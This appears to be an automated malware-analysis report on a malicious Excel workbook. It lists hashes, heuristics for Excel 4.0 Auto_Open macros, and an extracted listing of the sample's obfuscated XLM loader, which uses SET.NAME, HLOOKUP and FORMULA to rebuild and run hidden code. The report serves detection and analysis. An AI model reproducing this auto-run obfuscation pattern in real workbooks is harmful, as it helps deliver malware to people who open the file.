Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 744cc829c903a843…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:57 Authoring application: Microsoft Excel First seen: 2021-02-19
MD5: 5c068514d279add12b210c513280fccd SHA-1: 125792c440f8e6a8e9ede6740870b115c40c8134 SHA-256: 744cc829c903a843c1d59d250a08a8759b34267980fa241cb8d3d34942fc30c5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6464 bytes
SHA-256: b1ba91a6c6ac04d0be5083b3705b1d634515c35d5f3d715ef1fcc36c0611fd5a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  BPsaIimt
' 0018     22 LABEL : Cell Value, String Constant - aSqFDrg len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D148 
' 0018     27 LABEL : Cell Value, String Constant - DGdHRKLHttRL len=0 
' 0018     24 LABEL : Cell Value, String Constant - gkEEheppU len=0 
' 0018     20 LABEL : Cell Value, String Constant - icENq len=0 
' 0018     22 LABEL : Cell Value, String Constant - jIdAWUB len=0 
' 0018     24 LABEL : Cell Value, String Constant - KgiEjATrI len=0 
' 0018     22 LABEL : Cell Value, String Constant - knrgsKY len=0 
' 0018     20 LABEL : Cell Value, String Constant - KQIjN len=0 
' 0018     24 LABEL : Cell Value, String Constant - kutitMGYm len=0 
' 0018     25 LABEL : Cell Value, String Constant - mgKNOyitZo len=0 
' 0018     20 LABEL : Cell Value, String Constant - MSBDo len=0 
' 0018     20 LABEL : Cell Value, String Constant - ncFAY len=0 
' 0018     23 LABEL : Cell Value, String Constant - OHmOHIne len=0 
' 0018     20 LABEL : Cell Value, String Constant - QsaIw len=0 
' 0018     24 LABEL : Cell Value, String Constant - sEdTWwNAQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - XWiBYPCTk len=0 
' 0018     24 LABEL : Cell Value, String Constant - yfAonrDkX len=0 
' 0018     20 LABEL : Cell Value, String Constant - YpQWI len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZmDDm len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZxorQzT len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  BPsaIimt,D65,"SET.NAME("ncFAY",VALUE("0"))",""
'  BPsaIimt,D70,"SET.NAME("MSBDo",ncFAY)",""
'  BPsaIimt,D75,"SET.NAME("kutitMGYm",ncFAY)",""
'  BPsaIimt,D77,"SET.NAME("DGdHRKLHttRL",COUNTA(mgKNOyitZo))",""
'  BPsaIimt,D79,"SET.NAME("gkEEheppU",COUNTA(jIdAWUB))",""
'  BPsaIimt,D84,[],""
'  BPsaIimt,D88,"SET.NAME("QsaIw","")",""
'  BPsaIimt,D92,"MSBDo",""
'  BPsaIimt,D95,"SET.NAME("aSqFDrg",HLOOKUP("*",mgKNOyitZo,MSBDo,FALSE))",""
'  BPsaIimt,D99,"OHmOHIne",""
'  BPsaIimt,D101,"SET.NAME("icENq",ncFAY)",""
'  BPsaIimt,D103,[],""
'  BPsaIimt,D106,"icENq",""
'  BPsaIimt,D108,"KQIjN",""
'  BPsaIimt,D111,"sEdTWwNAQ",""
'  BPsaIimt,D114,"YpQWI",""
'  BPsaIimt,D116,"SET.NAME("ZmDDm",VALUE(HLOOKUP("*",jIdAWUB,YpQWI,FALSE)))",""
'  BPsaIimt,D119,"KgiEjATrI",""
'  BPsaIimt,D123,"QsaIw",""
'  BPsaIimt,D128,"kutitMGYm",""
'  BPsaIimt,D132,NEXT(),""
'  BPsaIimt,D134,"yfAonrDkX",""
'  BPsaIimt,D137,"SET.NAME("f",INT(T(FORMULA(T(QsaIw)&"",""&T(yfAonrDkX)))))",""
'  BPsaIimt,D142,"XWiBYPCTk",""
'  BPsaIimt,D144,NEXT(),""
'  BPsaIimt,D146,RETURN(),""
'  BPsaIimt,D168,"SET.NAME("ZxorQzT",D65)",""
'  BPsaIimt,D173,"mgKNOyitZo",""
'  BPsaIimt,D177,"SET.NAME("jIdAWUB",R70C12)",""
'  BPsaIimt,D179,"SET.NAME("XWiBYPCTk",188)",""
'  BPsaIimt,D183,"SET.NAME("knrgsKY",4)",""
'  BPsaIimt,D187,ZxorQzT(),""
'  BPsaIimt,D188,HALT(),""

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